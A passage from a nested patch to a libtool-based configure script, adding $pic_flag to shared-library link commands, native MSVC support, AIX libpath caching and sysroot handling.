++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9942,7 +10543,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9961,9 +10562,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10539,8 +11140,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10573,13 +11175,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11457,7 +12117,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11457 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11501,10 +12161,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11563,7 +12223,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11563 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11607,10 +12267,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12002,6 +12662,7 @@ $RM -r conftest*
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC=$CC
++ lt_save_CFLAGS=$CFLAGS
+ lt_save_LD=$LD
+ lt_save_GCC=$GCC
+ GCC=$GXX
+@@ -12019,6 +12680,7 @@ $RM -r conftest*
+ fi
+ test -z "${LDCXX+set}" || LD=$LDCXX
+ CC=${CXX-"c++"}
++ CFLAGS=$CXXFLAGS
+ compiler=$CC
+ compiler_CXX=$CC
+ for cc_temp in $compiler""; do
+@@ -12301,7 +12963,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ allow_undefined_flag_CXX='-berok'
+ # Determine the default libpath from the value encoded in an empty
+ # executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -12314,22 +12982,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+@@ -12342,7 +13017,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -12355,22 +13036,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -12413,29 +13101,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+
+ cygwin* | mingw* | pw32* | cegcc*)
+- # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
+- # as there is no search path for DLLs.
+- hardcode_libdir_flag_spec_CXX='-L$libdir'
+- export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
+- allow_undefined_flag_CXX=unsupported
+- always_export_symbols_CXX=no
+- enable_shared_with_static_runtimes_CXX=yes
+-
+- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- # If the export-symbols file already is a .def file (1st line
+- # is EXPORTS), use it as is; otherwise, prepend...
+- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+- cp $export_symbols $output_objdir/$soname.def;
+- else
+- echo EXPORTS > $output_objdir/$soname.def;
+- cat $export_symbols >> $output_objdir/$soname.def;
+- fi~
+- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- else
+- ld_shlibs_CXX=no
+- fi
+- ;;
++ case $GXX,$cc_basename in
++ ,cl* | no,cl*)
++ # Native MSVC
++ # hardcode_libdir_flag_spec is actually meaningless, as there is
++ # no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX=' '
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=yes
++ file_list_spec_CXX='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds_CXX='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, CXX)='true'
++ enable_shared_with_static_runtimes_CXX=yes
++ # Don't use ranlib
++ old_postinstall_cmds_CXX='chmod 644 $oldlib'
++ postlink_cmds_CXX='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ func_to_tool_file "$lt_outputfile"~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # g++
++ # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
++ # as there is no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX='-L$libdir'
++ export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=no
++ enable_shared_with_static_runtimes_CXX=yes
++
++ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
++ archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ # If the export-symbols file already is a .def file (1st line
++ # is EXPORTS), use it as is; otherwise, prepend...
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ cp $export_symbols $output_objdir/$soname.def;
++ else
++ echo EXPORTS > $output_objdir/$soname.def;
++ cat $export_symbols >> $output_objdir/$soname.def;
++ fi~
++ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ else
++ ld_shlibs_CXX=no
++ fi
++ ;;
++ esac
++ ;;
+ darwin* | rhapsody*)
+
+
+@@ -12541,7 +13275,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+ *)
+ if test "$GXX" = yes; then
+- archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ # FIXME: insert proper C++ library support
+ ld_shlibs_CXX=no
+@@ -12612,10 +13346,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ esac
+ fi
+@@ -12656,9 +13390,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ *)
+ if test "$GXX" = yes; then
+ if test "$with_gnu_ld" = no; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ else
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
+ fi
+ fi
+ link_all_deplibs_CXX=yes
+@@ -12728,20 +13462,20 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ prelink_cmds_CXX='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
+- compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
++ compile_command="$compile_command `find $tpldir -name \*.o | sort | $NL2SP`"'
+ old_archive_cmds_CXX='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
+- $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
++ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | sort | $NL2SP`~
+ $RANLIB $oldlib'
+ archive_cmds_CXX='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
++ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+ archive_expsym_cmds_CXX='tpldir=Template.dir~
+ rm -rf $tpldir~
+ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
++ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
+ ;;
+ *) # Version 6 and above use weak symbols
+ archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+@@ -12936,7 +13670,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ esac
+
+@@ -12982,7 +13716,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ archive_cmds_need_lc_CXX=yes
+ no_undefined_flag_CXX=' -zdefs'
+@@ -13023,9 +13757,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+ no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
+ if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+ archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+ # Commands to make compiler produce verbose output that lists
+ # what "hidden" libraries, object files and flags are used when
+@@ -13160,6 +13894,13 @@ private:
+ };
+ _LT_EOF
+
++
++_lt_libdeps_save_CFLAGS=$CFLAGS
++case "$CC $CFLAGS " in #(
++*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
++*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
++esac
++
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+@@ -13173,7 +13914,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ pre_test_object_deps_done=no
+
+ for p in `eval "$output_verbose_link_cmd"`; do
+- case $p in
++ case ${prev}${p} in
+
+ -L* | -R* | -l*)
+ # Some compilers place space between "-{L,R}" and the path.
+@@ -13182,13 +13923,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ test $p = "-R"; then
+ prev=$p
+ continue
+- else
+- prev=
+ fi
+
++ # Expand the sysroot to ease extracting the directories later.
++ if test -z "$prev"; then
++ case $p in
++ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
++ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
++ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
++ esac
++ fi
++ case $p in
++ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
++ esac
+ if test "$pre_test_object_deps_done" = no; then
+- case $p in
+- -L* | -R*)
++ case ${prev} in
++ -L | -R)
+ # Internal compiler library paths should come after those
+ # provided the user. The postdeps already come after the
+ # user supplied libs so there is no need to process them.
+@@ -13208,8 +13958,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ postdeps_CXX="${postdeps_CXX} ${prev}${p}"
+ fi
+ fi
++ prev=
+ ;;
+
++ *.lto.$objext) ;; # Ignore GCC LTO objects
+ *.$objext)
+ # This assumes that the test object file only shows up
+ # once in the compiler output.
+@@ -13245,6 +13997,7 @@ else
+ fi
+
+ $RM -f confest.$objext
++CFLAGS=$_lt_libdeps_save_CFLAGS
+
+ # PORTME: override above test on systems where it is broken
+ case $host_os in
+@@ -13280,7 +14033,7 @@ linux*)
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # The more standards-conforming stlport4 library is
+ # incompatible with the Cstd library. Avoid specifying
+ # it if it's in CXXFLAGS. Ignore libCrun as
+@@ -13345,8 +14098,6 @@ fi
+ lt_prog_compiler_pic_CXX=
+ lt_prog_compiler_static_CXX=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ # C++ specific cases for pic, static, wl, etc.
+ if test "$GXX" = yes; then
+@@ -13451,6 +14202,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ esac
+ ;;
++ mingw* | cygwin* | os2* | pw32* | cegcc*)
++ # This hack is so that the source file can tell whether it is being
++ # built for inclusion in a dll (and should export symbols for example).
++ lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
++ ;;
+ dgux*)
+ case $cc_basename in
+ ec++*)
+@@ -13603,7 +14359,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ lt_prog_compiler_pic_CXX='-KPIC'
+ lt_prog_compiler_static_CXX='-Bstatic'
+@@ -13668,10 +14424,17 @@ case $host_os in
